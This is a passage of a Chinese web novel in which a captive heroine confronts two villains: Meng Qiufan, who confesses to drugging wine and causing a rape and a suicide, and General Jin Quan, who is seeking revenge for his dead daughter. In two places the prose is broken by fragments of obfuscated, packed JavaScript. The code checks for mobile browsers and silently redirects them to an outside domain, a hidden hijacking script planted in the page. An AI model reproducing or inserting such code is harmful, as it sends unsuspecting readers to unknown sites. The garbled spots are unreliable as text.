“我都说了,好男儿志在四方,我只愿报效朝廷,去军中奉献!她就是不准,就是不准!我哥死了又如何?他身子骨那么弱,死在边疆有何稀奇!但我不一样,我不一样,我可以立下汗马功劳!我也做到了!我杀退了前来侵犯的宵小,我做到了!” 有奇异的红光自孟秋帆眼中一闪而过,他像被附体了一样,一改冷峻寡言,竟说的越来越多,越来越细。 “她非要让我成亲,说什么那才是正途,为人子嗣的必须。自己选了一个又一个的姑娘,问也不问我的意见!好,我依她!我娶了!可以放我自由了吧?却又不准我离京,只准在羽林军中效力。那能有什么作为?我要的不是孟府的庇护,被人人当作金尊玉贵的主儿,连稍微危险些的任务都不肯交给我!她,她还三天两头派人来,要求我回府住,要求我给她生个孙子!” 我终于听明白了,此“她”非彼“她”。但无论哪个她,在孟秋帆心中,都是自己理想之路的绊脚石,厌恶不已。 “用各种理由骗我回府,入了夜,何氏便变着法的勾引我,搔首弄姿,温柔如水。谁要她这样了!堂堂一个大家小姐,有没有点教养!她这样下贱,和窑子里那些货色有什么区别!” 我被他的妄言激起怒意,大骂道:“她是你的娘子,她想要个爱护她、疼她的夫君,有什么错!” “怎么没错!她还给我下药!她和我母亲,以为背着我下到我的茶里,我就意识不到吗!” 下药,他又说了一遍。 我愣住了。 “把那腌臜东西放进我的茶中,我就能就范?给她一个孩子?做梦!我趁没人注意,将他倒进了宾客酒中。我怎么可能会愚蠢到中这圈套,竟想……” 脑袋一瞬间犹如星火迸溅,周身血液冲向大脑。 “是你!你把下了药的茶水倒入宾客酒中?在你弟弟宴请同窗的宴会上?天哪,你弟次日会精虫上脑,胆大包天至玷污有妇之夫、玷污自己的亲嫂子,竟然是因为你!你才是罪魁祸首!” 我的骇然大叫,却没有激起孟秋堂更进一步的反应,他只是森森一笑。 恐惧弥漫,我的嗓子像被火烤着。 “你知道,你竟然知道?你意识到他是被药驱使……那天早上他闯进你的院落,你之所以让开、平静的让开……天哪,一切都是你设计好的?你故意引诱你弟犯下这不伦罪行……你、你想报复你母亲?” 难怪!难怪! 何小姐投水后,孟秋帆就自请去了边疆。什么自请?根本就是孟母看清了儿子面目,被吓得再也不敢管束,他才得以如愿!所以他去年被召回京,也根本没有回府住过。 他竟然为了报复掌控欲强的母亲,干下这等人神共愤的脏事! 孟秋帆依旧卷着嘴角,带着瘆人的笑。他轻声道:“关我什么事?我弟一贯好色,暗自肖想嫂子,我那是成全他呢。你当他喝了药才那么胆大?呵,他那杯,是姓方的误喝了。” 方向杰!天哪,那个儒雅的公子,唯一事后耿耿于怀、无法原谅自己、以至对女子PTSD的公子!我说怎么一场醉酒,他就能荒唐至此,竟然是中了春药的缘故! 他死了,他也死了…… “那何氏不是口口声声说想要个孩子吗?我这不也是为了她好吗?哪知她那么古板,还投水自尽?搞得多么贞洁烈女似的。”孟球帆轻蔑的说,“动静引来了我母亲,她那时候知道怕了、错了、后悔了?晚了,晚了!一直念叨的孙辈,什么血脉传承,什么承欢膝下,我弟这不是替我完成了么,她又怕个什么劲?” “禽兽,禽兽……”我抖如筛糠,涌上的恶心、憎恶裹住喉咙,竟吐不出其他谩骂的词汇。 这是个反社会人格,这根本不是一个正常人能说出的话。变态,变态! “我禽兽?”孟秋帆悠悠反问,“我早就说过,我不想娶妻,不想为了延绵子嗣困在孟府、困在京城,我想做翱翔的鹰,想在史书留名,我有什么错!是她,是她们,非要用为人子、为人夫的身份绑住我!” 我操,他还委屈了? 眼前人依旧丰神俊逸、轩然霞举,但皮囊下,他比阴沟地鼠更肮脏! 吞下喉间浓郁不适,我大声嗤笑:“你可以反抗,你明明可以不答应,谁还能强逼了你?别把你自己说的那么清高,根本是你压根不和女子欢好吧!你根本就没那能力,是不是?所以你对何小姐没有半分怜悯,你看不见她的仰慕、羞赧和痴情,你只会觉得她算计!哼,你根本不是个男人!” 我故意丢出尖刀,想狠狠 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何况,现在看着他是在撕我的衣服,可我被五花大绑着,不解开绳索,外衣都撕不下来。他暴怒的扯着我领口衣襟,却因着绳索,根本不足为惧。 他只是想吓住我。 可笑! 我丝毫没有尖叫反抗,只冷冷的看着他,看他的脸色逐渐黑沉,眼神越发阴骛。 “好,好好好,不愧是谢宁轩看上的女人,胆量真是不小。难怪兄弟两个都念念不忘,那谢宁辕世子之身,竟也喜欢你这种卑微下贱的女人!” 我终是愕然变色,落在孟秋帆眼中,露出了满意的笑。桃羞杏让,美的惊心动魄。 “还真是你?嗬,两兄弟还都是情种呐。” 这什么意思……啊,他是在诈我? 我上当了! 变了又变的脸色,我呲目怒瞪,恨不得唾他一脸! 孟秋帆愈发得意:“怎么,没料到我竟知道这种隐秘?你以为就你心上人有脑子?还处处给我使绊子,处处给我下套,联合宋璃那个花架子赶我出京……妈的。” 越说越气,孟秋帆咬牙,腮帮子轻凸。“不就是读过几年书么,就以为自己神算无疑了?还不是让你落入了我手?等谢宁辕去了幽州,死在幽州,我倒要看看他还能得瑟几天!” 他露出挖苦的笑,毫不掩饰自己的痛恨。 我身子一僵,对他话语中的恶毒和莫名其妙的说辞,忍不住惊惧。 二公子,二公子为什么要去幽州? 而这时,不知道联想到了什么的孟秋帆,眼中也迸发出幽森的怨毒,如一条吐着信子的毒蛇。他恨恨骂道:“就谢宁辕那个软条虫,无用书生、纨绔子弟,废物一个!” 怎么又突然调转枪头,抨击起二公子了?他到底在说什么? 我隐隐意识到,他此刻泄露出的情绪,是他深埋心底,最深最赤裸裸的情绪。 为什么,为什么这种情绪,会和二公子有关? 我咽下了直白的好奇,变种法子,改用话语激他。“二公子是纨绔子弟?他在书院埋头苦读,胸怀远大抱负理想的时候,你还坐在孟府深闺绣花鸟呢吧!” 孟秋帆果然再次被我激怒,又猛地逼近,捏住我的下巴。手劲之大,透露着满满当当的杀意。 我才不怕他。 他本就想杀了我,我伏小求饶,也不会换来他一丝一毫的同情和怜悯。既然结局都是死,我定要死前扒下他的脸来,让他也体会一下被人侮辱的感觉! 而且,我会死吗? 呵,未到结局,未见分晓! 我死死瞪着他,看他腥红血丝布满的眼眸,闪过阴毒的光泽。 孟秋帆松开了手,他又想到了什么阴招? “胸怀大志?怎得,你还肖想他有金榜题名的一天?呵,”孟秋帆露出古怪的笑,下颌扭曲,“你不也很聪明么,也被蒙在了鼓里?看来谢宁辕这小子是打定主意,不告诉你这个贱人,也不让抢走他心上人的哥哥知道了。正好,他离家出走的那天,我正好无声无息搞死他。或者……” 他阴阴一笑,好似妖妃祸国。 妈的,老天爷真是瞎了! “死在幽州好了,勉强赐他一个殉国的名分,可好?” 171.反派 我心下大骇。 无数思绪涌上心头,我被万般线头扎着、触着,如茧被包住,找不到出口。 幽州?殉国?幽州,边疆幽州,大青的边防线。 记忆画面一帧一帧重现,我愕然看清了那些被我忽视、过去未曾在意的画面。 是二公子书桌上垒着的兵书、压着的弓箭,是提起表哥砍杀鳄鱼时的眉飞色舞,是不明真相时对武举人的仰慕敬仰。 从军,天哪,二公子想去从军? 啊,是,仿佛就是去年书院大考后,他自多荣长公主封地归来,就转了性子般,爱看起各类兵书。 那么,我在宫中听到丫鬟八卦提及的他向太后请求被拒,请求的,也和从军有关? 我想起他吞下的、未说完的话,那句“我也该清醒了,重新选择了”。 他在意的、看不穿的、才想透的,他要重新选择的,竟是人生之路。是从拿笔杆的人生,转为戎马杀伐的人生。 小丫鬟说,太后没有答应。而他也没有告诉谢宁轩、告诉齐王爷。他是想自己悄然离家,直接奔赴前线,生米煮成熟饭? 可这些,孟秋帆又怎么会知道? 脑海中浮现半途截杀的一幕,我感到后脊梁都麻了。但也就是这一激灵,激发了我另一层思绪。不起眼的一段段回忆、不经意的一个个画面中,我倏地抓住了线头。 我抬起眼帘,盯着眼前自以为是的人渣,淡声问:“你是从尚远侯世子处知道的吧?” 孟秋帆眸色一闪,嘴唇抿在一起。 我知道自己猜对了,言语越发不屑。 “呵,我当多神通广大呢。不就是与尚远侯世子有通信吗?你伪装的倒好。圣上看在你孟家世代忠心,才没把你下作行径公开,怎么,你还刻意扮无辜了?在同袍面前,以一腔热血不得报效的受害者脸孔出现?” 二公子和多荣长公主之子尚远侯世子是表兄弟关系,他去年年考后,还曾去表哥家小住。他就说过,表哥武举科考,是和孟秋帆对战过的,表哥还赞后者战力不凡。 很显然,世子之后和孟秋帆仍有往来,毕竟他不知道孟的真实面目。而幽州,眼下世子服役的地方,正是一年前,他孟秋帆被调离的、心心念念青史留名的地方。 而二公子近来屡受心伤,写信告知表哥自己的意愿,又被表哥当作闲谈透露给了孟秋帆,也顺理成章。 至于感情倾向,想必是二公子在表哥家中小住时,表达过心悦之人出身平凡。我回京后和二公子频繁的往来、同行,京城内处处巡逻的羽林军看到,也不稀奇。 孟秋帆能诈我此事,或许就因二公子身边,再没有其他平凡的女子。 我真是想不到,尚远侯世子连这些都告诉了孟秋帆? 孟秋帆,你还真有点手腕啊。 我阴冷的盯着他,暗暗思索他不近女色的终极原因。 除此外,我也更确信了,此时所谓的“世子受伤”“边疆急报”,都是假的。 孟秋帆,顺利从管理严格的羽林军中逃离回京,又受了谁的协助,不也很清楚了吗?想必也正是此人,才能从宫中安排几个小太监,传话调开谢宁轩和三殿下。 对付我,目的还是在于谢宁轩,还是在于复仇。我都懂了。 我冷漠,近乎于无所谓的讲述完,盯着孟秋帆那张芙蓉不及的脸,嘲讽道:“你当齐王府都是吃素的吗,二公子离家远行,能没有护卫暗中守卫?他但凡跨出京城,王爷、谢宁轩立即就能知道,还容得你半途截杀?他可是太后的亲孙子,我看谁敢动手!王爷睿智,自己都在绿林打过滚,儿子有报效祖国之心,怎么就不会支持了?无非是前些时日他不在京城,二公子无法禀告罢了!待真到边疆从军,哼,二公子久读兵书、拳拳之心,或许功绩会不亚于你!” 说着,我弯了腰,朝他靠近两分,狠狠扎心,“就算平庸,碌碌无为,至少他可以在广袤无垠的田野上策马奔腾,在你心心念念的大青边军中效力。下一次,羌族游牧士兵来犯,他依旧可以上马追击,随时都有立功的机会!不像你。” 我冷冷的,一字一字吐出最后三字,终于激起孟秋帆最深的憎恨。 他破口大骂:“呸!他知什么是征战,什么是将军?不过见识了一次百步穿杨的威力,就以为自己也能有那般建树,竟还肖想马上琵琶、醉卧沙场?分明是科举难为,处处比不上他的好哥哥,才换个路子,以作逃避!他这种懦夫,如何能与我比!他也配!” 呵,我就知道。 他原本是用二公子来辱骂我,想羞辱我不检点,勾引一双兄弟。说着说着,倒把自己怒气勾了出来。究其原因,无非在于眼看自己被圣上唾弃,前程尽毁,再无征战沙场之日,便对别人可能实现的梦想,忌妒深恨罢了。 呵,这才是他真正在意的,能扎心的。好,那我就往你心上捅,捅不死你! “配?你也能用这个字?你有什么值得别人和你比的?你还攻讦二公子,分明是嫉妒的眼都发红!嫉妒人家能去幽州,有远大前程……而你,被我们多管闲事的翻出旧案,毁了将来,是不是?可笑呀,前程二字,我才要说,你配吗?你这种低劣阴诡的人品,你配有大好前程,配青史留名吗?” 我肆无忌惮的放声大笑,继续朝他捅刀。我恨不得真的持着一把尖刀,挖出他心脏来看看,到底有多肮脏! “你嘲笑二公子怯弱、纨绔,你又何尝不是?说什么被绑,你自己不觉得可笑吗?腿没长在你身上,你不会自己跑吗?京城是有千军万马你迈不出去吗?你母亲用孝道如何绑架你,却也敌不过你拿这阴诡的法子逼她妥协,既如此,你还说什么孝顺,什么被绑住?分明是你舍不得孟府嫡子的尊贵身份,根本不敢和家人决裂,真的用无名氏的身份去军中,从底层干起!你贪恋着富贵,还要给自己戴一顶冠冕堂皇的帽子,说什么青史留名,真是可笑!大青边关有你,军队有你,才是大青的耻辱!” 我的咄咄谩骂连续不断。孟秋帆脸色沉似海底泥,酝酿着狂风暴雨。下一秒,他冲着我的脸颊狠狠劈下,一耳光打的我嘴角立时冒出血腥气。 耳朵一阵嗡鸣,我被打得眼冒金星。 然不及喘息,他又一把捏住了我的咽喉。呼吸瞬间被剥夺,我立时感到窒息的痛苦。 “好,好!王羽书,你有胆,句句撕我的脸!我纨绔,我娇贵无胆?行,今个儿我还真让你看看我纨绔的一面!” 说罢,他猛地丢开我,像丢一条死鱼。我狠狠栽倒在地,脸皮直磕粗糙的地砖,火辣辣的疼。好在,我终于能够大口呼吸,差点眼前都冒麻点了。 “来人,把她带到外面,让兄弟好好纾解纾解,就在外面空地上,我倒要看看你尖牙利嘴,还能硬多久!” 语毕,木门竟真的被推开了。 一时间,胸怀愤怒愤慨,被如浪急涌的畏惧取代。我后知后觉的意识到,我把自己置于危险境地了! 糟了,一时情绪,我怎么就没忍住!和这种人渣,我理论个什么劲!自讨苦吃了! 然而,出乎我的预料,来人并未上前抓我拖我,反而是静立在门边。脚下雨水带进,汪成一片水泽。 这是个穿着一身黑衣的年轻男子,脸上裹着半面面巾,看不清全貌。 孟秋帆也意识到不对,扭头皱眉道:“怎么是你,他来了?” “将军说你不该露面的。”来人平静的说。 “少废话,他来了没有?我说了,我要这个女人的命!等谢宁轩来救她,我也要杀了他!”孟秋帆不耐烦的说。 “这你得和将军商量,属下无权决定。” “那你来干什么,碍眼!滚!叫支守卫兵进来,老子赏他们个爽的!” 来人纹丝不动。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14711422|136592||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >我提到嗓子眼的心,忽然就缓慢下沉。 孟秋帆慢慢侧头,有些恼了。他讽刺的问:“干什么,你要留着自己玩儿?吃独食呐?” “将军说了,他来之前,不能处置这女子。”来人回答,语气仍旧是一板一眼。 “操!”孟秋帆唾了一口,站起身来,大步朝来人身前跨去,不知道是想给他一拳,还是打算指着鼻子发飙。 我没看到后续,因为门外又走来一人。 “秋帆,你失态了。” 这是一位面容坚毅的中年男子,梳得齐整的发髻,已有一半是白发。他虽着黑袍便装,但身形挺拔如松,走姿沉稳硬气,一看便知戎马身份。 他自孟秋帆身侧走过,迈进屋子,平和的看着我。没有带面巾,我清楚看到他的长相,看到他端详、打量、比较的眼神。 较之孟秋帆,他或许更恨我,更恨谢宁轩。但此刻,他没有谩骂、痛斥,只是平静。 我想到了金宝鸯的眼眸,有些神似、肖像的眼眸,也幽幽叹了口气。 “金将军,您好,终于得见了。”我主动请安,点破了他的身份。 羽林军副将金权,金宝鸯之父。 是,我早就知道了。 孟秋帆自归京后,是放到了他麾下效力。宫中跟踪我的小太监,在整座宫城中,罕少有会功夫的内侍,怎么偏偏,他就是茹贵人的下人? 羽林军将军宋璃,是年少成名的大将,天赋极强,不到二十岁就在边疆立下汗马功劳。加之其父殉国,圣上特提拔宋璃坐上羽林军大将宝座。 但羽林军中,不少上了年纪的军官,还是更信服资历老的副将金权。 只是谢宁轩说过,金权与宋璃之父乃至交,因而对贤侄上位并不介意,日常辅佐帮衬,还十分尽心。这也是谢宁轩对金权,一开始未曾设防的缘故。 换句话说,若非江瑟楼惨案,金权是绝走不到今天这步,与谢宁轩为敌。 原因,自然是为了他的女儿,膝下唯一的、珍爱的女儿。 金权也未感意外,先挥了挥手,黑衣男子便走到窗前开窗,豆大的雨点声立时传来。 黑衣男子旋即朝孟秋帆伸手,示意他出去。 后者眉头紧蹙,肉眼可见的不爽。他朝我恶狠狠的刮视,依旧森森恶意。然,脚步微有踟蹰,他到底还是出去了。属下亦步亦趋跟着,轻轻闭上了门。 一时间,屋内只剩下我和金权,又一个敌对方。 但我清楚的知道,他不会像孟秋帆那样,一条疯狗。 金权朝屋中唯一的椅子坐下。我瞧着他微有佝偻的脊线,感受到一股疲惫。 他语气平和地说:“看你的样子,并不诧异是老夫绑架了你。宁轩那晚也来拜访老夫,老夫没有见他。想必,你二人早就洞悉了。不妨展开说说。反正宁轩还没有来,得等他,我们还有些时间。” 等他,等他来救我,一道杀之?那说这些,还有什么意义吗? 我想到了电视剧“反派死于话多”的套路,不由感到好笑。现在话多的变成了我,我是反派吗? 或许于金权而言,我确实是。 我没有将这些说出口。对孟秋帆,我冲动、我控制不住,因为他是个阴险的人渣,我恨不得把学过的脏话全扔到他脸上。 但对金父,我恨不起来,怪不出口。 深吸口气,我垂下眼睫,索性如他所言,一帧一帧讲起故事来。 “我在宫中被有功夫之人跟踪,初时怀疑是孟秋帆,便让谢宁轩去查。他传信却道,孟府与陈尧昇来往有限,不像是共同的谋划者。我有些诧异,我以为孟府是凭借七皇子的亲缘关系,才说的动陈尧昇。” 我讲到这里,顿了顿。因为金权眼神黯了。 见我不明所以,金权嘴角轻提。他问:“‘谢宁轩’。你总是这样叫他吗?直呼大名。” 172.一败涂地 我张了张口,喉咙发涩。 “你继续说吧。” 我浅吸口气,也没惺惺作态。徐徐讲述起来,就像读话本,好似经历这一切的,不是我。 “在宫中,我和皇后谈判的时候,提到与她们结盟的人,是孟府的势力。皇后没有反驳。我更糊涂了,到底是谢宁轩没查到首尾,还是皇后有所隐瞒?但皇后最后是选择了我们这边,那她就没必要在结盟对象这件事上撒谎。谢宁轩的能力,我也相信。那么,就只有一种可能造成矛盾,即,与陈尧昇对接的人,的确是孟府的人,却又不是孟府。” 或者说,陈尧昇误解了,以为这个人就能代表孟府,代表孟府的全部势力。不用说,结合发生的时点,只有一个人能造成这种假象,那便是孟府仅剩的嫡子,军中效力的孟秋帆。 考虑影响之恶劣,白马书院案最终是落定在何慕卿嫉妒同窗这一作案动机上的。真正的卑劣小人,世人不知他的真面目。 那在陈尧昇看来,孟秋帆是孟府掌上明珠,他说的话,承诺的提携,必然是孟老的意思。即便孟秋帆降了军阶,孟府树大根深、与皇七子的血脉关系,仍是坚固牢靠的。 当然,以陈尧昇的目的,恐怕也只是被告知,谢宁轩五年前提女捕快遭到圣上严厉斥责,便误认为今次客观、中立、忧国忧民的弹劾,能得到圣上的支持。这也和他与孙公公汇报的无差。 陈尧昇或许根本不知道,孟秋帆的真实目的。毕竟谢宁轩刚帮孟府抓住杀四公子的凶手,作为哥哥的孟秋帆该感谢不是? 所以着急了、一日也不想再教书、本质与伪装的出世淡人南辕北辙的陈尧昇,是被利用了。 但孟秋帆真的代表孟家吗? 孟老已知儿子面目,一病不起。孟母在儿子回京后,再没有央求他回府居住。 孟秋帆回京后,日日呆在羽林军中。谁才是幕后支持他的人,谁和他有共同恨意,还不清楚吗? “是梁戈自作主张偷看了宁轩的信,这才让你们看穿的吧?” “梁戈?”我轻声问,“是你麾下亲兵?” 金权未答。 我唯有继续讲下去:“这是最直接的证据。谢宁轩向来谨慎,我们之间的信有无人查看、有无人伪造,他一观便知。而那日,服侍他更衣、唯一能碰到他脱下外衣的,唯有你的亲兵。当晚,我就接到了假信。这简直太明显了,不是吗?” 金权扫一眼门外:“我就说他和茹贵人愚钝,根本不是你们的对手。狂妄。” 看来主意是孟秋帆出的,确实愚钝。我也赞同的点了点头。 “宁轩那日出宫后,立即派人去了秋水县。这也是皇后提醒你们的?” “嗯。皇后倒戈,自然要帮我除掉危险,她便说了原本由她负责带去,准备将死我的第三名证人,秋水县的猩猩衙差。你们想的挺好,知道京城府衙的衙差们如一块铁板,没人会背叛谢宁轩——即便他已经调离。竟想到出京找其他衙差。确实,衙差确实较其他证人,更清楚我在刑案中的角色。” 早在进宫后郡主就说过,谢宁轩有先见之明,提前嘱咐她面对太后的说辞。那么,瑶花班、上阳街,绣花大赛留下的闺阁女眷们、白马书院的书生们,谢宁轩也必处理稳妥,不会跳出个指证我的证人来。 至于京外的人,谢宁轩当然也不会疏忽。 “他让阿璃帮他留意了?” “是。秋水县来人,宋将军都会留意。但猩猩衙差还是到了皇后手中。这很不合理,一则是宋将军为什么没拦住,二则在于,陈家也好、孟府也罢,不该有人知道我和谢宁轩在京外的一举一动。” 可去年春天上京遇到谢宁轩,去年秋天他追随我南下,都有一个人清清楚楚,那便是三殿下。两次出京实则都在秘查宫中旧案,能知道谢宁轩行程的,也唯有三殿下。 三殿下有问题? 不。 还记得吗,我将二公子跟踪陈尧昇查到的那个会面之人的特征告知三殿下时,他露出了若有所思的表情。我当时想不明白为什么,也没有特别在意。 之后我想起来,三殿下出入战场,和金权是忘年之交。当日江瑟楼案后,他气郡主莽撞拖累金宝鸯,还曾怒罚她跪经来着。 那,三殿下无意中告知了金权,金权才会得知? 不,也不是。三殿下不是那般不谨慎的人,这可关系密旨,他绝不会轻易提及。 “所以,还能有什么人,清楚谢宁轩几时出京、几时回京?马车上有无同行人,同行人又是什么身份?并能不动声色的出京追查,而不受京官不得离京的限制?自然是一个一个不起眼的羽林军士兵,你的麾下了。” 守城士兵监视,获悉我们的行踪。京外驻扎的士兵秘密南下,借口带走了猩猩衙差,并绕开了宋璃安排的眼睛。 赵大人有感于谢宁轩的宽和包容,无论来人用了什么说辞,下属上京,他应该都会写信告知。信件也没送到,大抵也是被拦截了。 包括茹贵人颠倒黑白提及的周达尹落水,如此隐秘之事,谁能知道?自然是京中巡逻,当日也曾被叫来帮忙的羽林军了。 想通金权是幕后主使,那三殿下当时的怔松,也就好理解了。他必然是听到我的描述,立即产生了联想,浮现了怀疑。但他不敢相信,也不愿相信。 从谢宁轩没能第一时间获悉来看,三殿下没有告诉他。 “是你,你瞒骗住了三殿下,对不对?他和谢宁轩至交,此事危及好友安危,他不会隐瞒不说。只有可能是他去问过你、试探过你,而你,骗了他。” 金权有些怔,倒也没有露出愧疚。他只是说:“特殊时期,老夫也只能违拗了我们的交情。三殿下耿直有义气,既能开门见山,直白质问老夫,知道真相,就也不会替老夫诓骗宁轩。老夫这才想法子骗过了他,也是无奈之举。” “那宋璃呢?他知道他信任、敢将后背交付的叔叔、战友、同袍,背叛了他吗?” 金权轻哂:“老夫何曾背叛阿璃?调兵遣将,步兵排阵,本就是本将军的职责,与背叛何关?至于他和宁轩的交情,那是他们之间的事。就如老夫与宁轩的仇恨,老夫也没将他牵扯进来。” 仇恨? 真的至于称为“仇恨”吗?金宝鸯的死,又与谢宁轩何干。 我叹了口气,幽幽问:“茹贵人身边那个会功夫的小太监、她被皇后关禁闭后能外出,也都是你安排的吧?” 金权一哂:“小手段,安排个把守卫、买通个把宫人罢了。至于会武功的那厮,倒不是老夫安排。他是孟府家仆,自小就是残缺儿,跟着孟秋帆学过几天身手。这次孟秋帆要联合茹贵人行事,便想到将他送进宫,以作联络。” 金权只稍停顿,就继续道,“你果然聪明,条条桩桩都有推断,果真和宁轩相配。难怪他被你吸引,难怪鸯儿,输得一败涂地。” 输了吗? 我们之间,从没有过战争啊。 我静默片刻,听见雨声渐小。 没有接话,我只是继续着我的讲述:“这次调虎离山,伯父,也是你的手笔吧?来通报的太监是假的,军报也是伪造的。一般的军报,能调走三殿下和谢宁轩,却调不开郡主。江瑟楼案后,三殿下再不允她独自上街游玩,出行皆配有高规格守卫。她若与我同行,你们就没法下手了,不是吗?” 那该怎么调开郡主呢?就利用了今天刚回宫的多荣长公主。 她儿子的近况,幽州边防的情况,孟秋帆清楚,正好拿来攥写一封看似真实的军报。哪怕三殿下和谢宁轩盘问太监,也能应对。 但多荣长公主刚回宫啊!提前的、未有通知太后圣上的,突然回宫。 谁还能知道她的行程?或许也不需要知道。她踏入京城那一刻,城门、宫门,处处已被掌握。 金权眉梢微抬:“这么看着老夫作甚?你是想问,老夫是真的不恨郡主,还是怕了她那守卫,不敢一道绑架来?” “郡主不是害死金小姐的罪魁祸首,你本就不该恨她。” “嗬,你说的倒轻巧。若不是她任性妄为,鸯儿怎么会陷入危险,以致被辱丧命?”金权双手搭在腿间,撑了撑手臂,“但她也真情实感的愧疚了,三殿下对她严厉惩罚,那些日子时不时来陪老夫喝酒下棋,为的什么,老夫都明白。郡主之过错,罪不至死。” 我深深盯着她,轻声问:“那我呢?我的罪,就至于死吗?你明知道,你女儿不是我害死的。你听审了,你知道的。我只是没能成功救下她,我就得死吗?” 金权没有正面回答,他露出了明显的疲惫感,只道:“鸯儿心愿,老夫必帮她实现。” 帮她实现? 金宝鸯,会希望我死吗? 我想起在李府,她砸在茶杯中的那滴泪。她是通透的,不是吗? 金权没再看我,扭头朝窗外瞧去,陷入了思念。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14711423|136592||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一阵安静,我和他谁都没有说话。微有淅淅沥沥的春雨,还在不知疲倦的下着。直到他再次开腔,突兀,却饱含感情。 “鸯儿倾慕宁轩,不是一天两天了。老夫告诉她,宁轩虽承继不了王爵,毕竟宗室近亲出身,兼睿智博学、胸有丘壑,未来不可限量,成为一等一的权臣或也可能。我们金家攀不了这门姻亲。可鸯儿思慕之极,为他茶饭不思。” 我默默听着,又想起金宝鸯含羞带臊的脸庞。 “老夫于羽林军帐中休息,她打着看望的名义,实则都在等宁轩。那时,宁轩常与阿璃讨论京城布防,隔三岔五的来。很快,宁轩就察觉了。他那么聪明,立即意识到鸯儿的意图,就再没露过面。鸯儿很失望,非常失望。老夫没辙,只能应她要求,请了侍郎夫人去王府说合。” 金权顿了顿,露出若有若无的苦笑,“不出所料,王妃拒绝了,王爷之后也派人来过,委婉,意思却明确。老夫只能拿门第之差来搪塞鸯儿。但鸯儿清楚,老夫也清楚,宁轩钟灵毓秀、神仙人物,怕是不愿将就父母之命的姻缘。说合不成,其实是他不愿。可老夫没想到,他竟然选择了你……” 他抬眼,再次朝我看来。这一次,眼中不再是悲伤。他用一种审视、轻蔑的目光,伴随着他看不起的话:“一个幕僚的女儿,才上京没几天,就让宁轩为你转了性子。对待鸯儿冷如冰山,当着人面都不给她面子,却和你共乘一骑!从御青王府出来,又牵着马同行,含情脉脉,有说有笑!” 我听懵了,想了一下才意识到,这说的是绣花大赛案中,我和谢宁轩去找三殿下对质的事儿。 骑马、同行…… 我心一沉,意识到这是金宝鸯看到了。 她不是被郡主劝得离开李府了吗?难道还依依不舍,又返回想找谢宁轩,却目睹了那一幕? “老夫劝她,天下英才无数,何须非盯着宁轩一个?鸯儿就是绕不过这个弯儿,竟还跟去青楼,就因听闻他才去过。丫鬟劝阻也不肯听,非要去证实,她心上人的人品端正。没成想,她就那样死在那肮脏地方,被人又摸又亲,没了清白!” 金权终于失去了平静的面具,他拔高声线,带着浓重的恨意。 我不可自控的颤声辩解:“没有,她没有,她没有失去清白!纵使混蛋轻薄,她一直在拼命挣扎,保全自己,她没有任人宰割!你是她爹,你怎么能这样说!” 金权倏地起身,一把将坐过的椅子掀翻在地。 “你闭嘴!”他冷冷地说,“别以为你说几句漂亮话,在我夫人面前扮可怜,老夫就能原谅你,原谅宁轩!是你们,是你们逼死我的女儿,害得她芳华早逝,临终都没有体面和平静!” 我深吸口气,清楚的知道,一个丧女父亲的痛苦,不是几句话就能消弭的。 他恨我们,即便他内心也很清楚,这不是我们的错。 金宝鸯喜欢谢宁轩,谢宁轩就一定得接受,得给出回应吗?他已经斩钉截铁的拒绝,就是希望金宝鸯别再错付。 谢宁轩喜欢我,不喜欢金宝鸯。就是我的错吗?我没有玩弄手段,没有干涉他和金家任何人的来往,我不是他们之间没结果的原因。 甚至,我真心想要救出金宝鸯,我真心为没能救出她而惋惜而悔痛。 深吸口气,我没有为自己申辩。我只是平静、哀伤的问他,这真的是金宝鸯的心愿吗? “在李府的时候,她来找过我,彼时我和谢宁轩,还没有心心相印。她说,她知道不关我的事,也说,她该勇敢,而不是只会哭泣。金伯父,今天你杀了我,她就能得到谢宁轩的心了吗?九泉之下,她就能平静了吗?” 金权冷笑一声,垂在腿侧的双手倏地握紧。太阳穴,露出一根根青筋,狰狞又苦楚。 “鸯儿会平静的,至少给老夫托梦,她不会再流泪了。” 我盯着金权如松站姿,若非细看,发觉不了身形些微的摇晃。他筋肉紧绷,两颌外凸,黑色袍衫的领口,是深浅过渡印出的汗渍。 一个猜想缓慢浮现,我犹疑着问:“金伯父,你是不是,是不是得病了?” 江瑟楼案后那么久,金权什么都没有做。为什么偏偏在现在,当伤痛在褪色时,却采取了报复的行动? 金权未答,甚至没有对我的疑问惊讶。他看了看窗外天色,道了声:“差不多了,该来了。” 话音落,嘈杂的声音也传了进来。 是谢宁轩来了。 173.咽喉 木门被推开,黑衣属下进来禀告:“他是一个人来的,已经带到地方。” “好。”金权颔首,简短地说,“把她也带去。” “将军,”黑衣属下迟疑了一下,“见不着她,谢侍郎更会恐慌,才更能应我们要求吧?” 要求,什么要求? 不就是利用我诱他独自来,杀掉我们祭祀金宝鸯吗? 金权道:“宁轩不会轻易答应,除非看见她受伤。带过去,必要时直接上刑。” 上刑?还要对我上刑?干什么啊,到底要利用我,威胁谢宁轩做什么事啊! 我没有机会问出口,黑衣属下大跨步上前,一把捏住了我的下巴。 操,下巴都要脱臼了! 但黑衣属下并非借此展露威势,他是为了让我张口,往嘴里塞进一个布球。我的舌头猛然被压,甚至来不及回缩,以把布球顶出吐出,他就拿布条勒住我的唇间,死死绑于脑后了。 双重保障,令人□□,和电视剧一点都不一样。我苦笑着摇头,心说我怎么就遇不上那种智障反派? 